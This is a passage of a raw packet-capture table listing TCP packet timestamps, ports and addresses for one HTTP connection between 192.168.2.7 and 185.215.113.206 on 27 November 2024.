Nov 27, 2024 17:58:24.771871090 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.771991014 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.772051096 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.772099972 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.774082899 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.774142027 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.774173975 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.774266005 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.776247025 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.776305914 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.776312113 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.776360035 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.778534889 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.778601885 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.778671980 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.780642033 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.780710936 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.780822039 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.782959938 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.782990932 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.783128977 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.784972906 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.785068989 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.785202026 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.787190914 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.787293911 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.787302017 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.787344933 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.789397955 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.789433002 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.789530039 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.791578054 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.791676044 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.791680098 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.791759968 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.793744087 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.793827057 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.793889999 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.793943882 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.795990944 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.796062946 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.796066046 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.796133041 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.798120975 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.798171997 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.798316002 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.800335884 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.800369978 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.800470114 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.802567959 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.802628040 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.802669048 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.802695036 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.804692030 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.804781914 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.804800987 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.804975986 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.806931019 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.807051897 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.807177067 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.809622049 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.809748888 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.809851885 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.811871052 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.811969042 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.812000990 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.812036991 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.813787937 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.813870907 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.813899040 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.813914061 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.815880060 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.816009998 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.816024065 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.816098928 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.818247080 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.818355083 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.818386078 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.818465948 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.820036888 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.820141077 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.820183039 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.820221901 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.822268963 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.822335005 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.822350979 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.822421074 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.824445009 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.824532032 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.824537039 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.824621916 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.826658964 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.826757908 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.826782942 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.826808929 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.828838110 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.828946114 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.828946114 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.829001904 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.831244946 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.831336021 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.831367970 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.831445932 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.833245039 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.833370924 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.833529949 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.833601952 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.835427999 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.835494041 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.835539103 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.835566044 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.837732077 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.837860107 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.888103008 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.888350964 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.888546944 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.889177084 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.889254093 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.889305115 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.889364004 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.891329050 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.891427994 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.891501904 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.891604900 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.893512011 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.893626928 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.893728018 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.895819902 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.895848036 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.895915985 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.895972967 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.898144960 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.898233891 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.898401022 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.900099039 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.900199890 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.900213003 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.900341988 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.902332067 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.902426004 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.902434111 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.902519941 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.904557943 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.904639959 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.904834032 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.904939890 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.906718969 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.906821012 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.906863928 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.906863928 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.908876896 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.908997059 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.909003973 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.909070015 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.911058903 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.911113977 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.911217928 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.911217928 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.913285971 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.913374901 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.913436890 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.913436890 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.915549040 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.915591955 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.915678024 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.917699099 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.917742968 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.917834044 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.917834044 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.919900894 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.920063019 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.920068026 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.920129061 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.922296047 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.922481060 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.922710896 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.922710896 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.924238920 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.924318075 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.924333096 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.924576998 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.926423073 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.926595926 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.926961899 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.926961899 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.928628922 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.928890944 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.928956985 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.928956985 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.930774927 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.930872917 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.931209087 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.931209087 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.932996988 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.933063984 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.933118105 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.933118105 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.935158968 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.935236931 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.974828005 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.974899054 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.975107908 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.975107908 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.975867987 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.975934029 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.976068020 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.976068020 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.977602959 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.977678061 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:24.977701902 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:24.977756977 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.046504974 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.046541929 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.046768904 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.047610044 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.047703981 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.047743082 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.047823906 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.049448967 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.049546957 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.049593925 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.049674988 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.051544905 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.051645041 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.051656961 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.052053928 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.053917885 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.054060936 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.054138899 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.054138899 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.054842949 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.054930925 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.054969072 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.055063009 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.055893898 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.055993080 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.056025028 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.056119919 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.056988001 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.057105064 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.057163954 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.057163954 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.058087111 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.058176994 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.058196068 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.058475018 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.059132099 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.059243917 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.059398890 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.059461117 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.060180902 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.060247898 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.060306072 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.060384035 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.061306953 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.061431885 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.061624050 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.061624050 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.062300920 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.062376022 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.062405109 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.062594891 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.063402891 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.063524008 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.063689947 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.063689947 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.064477921 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.064516068 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.064640045 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.064640045 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.065542936 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.065648079 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.065675020 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.065716982 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.067032099 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.067089081 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.067158937 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.067158937 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.067697048 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.067780018 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.067950964 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.067950964 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.068732977 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.068867922 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.069058895 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.069060087 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.069751024 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.069878101 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.069891930 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.069962978 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.070921898 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.070998907 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.071110964 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.071182013 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.072019100 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.072110891 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.072252989 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.072330952 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.075428009 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.075447083 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.075460911 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.075467110 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.075484037 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.075539112 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.075649977 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.075649977 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.076342106 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.076416969 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.076536894 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.076536894 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.077388048 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.077553988 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.077583075 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.077637911 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.078315020 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.078469992 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.098644018 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.098661900 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.098753929 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.099164009 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.099275112 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.099277973 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.099329948 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.100006104 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.100074053 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.100107908 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.100164890 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.101049900 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.101084948 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.101144075 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.101144075 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.102122068 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.102210045 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.102246046 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.102297068 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.103192091 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.103270054 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.103286982 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.103324890 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.104266882 CET	80	49702	185.215.113.206	192.168.2.7
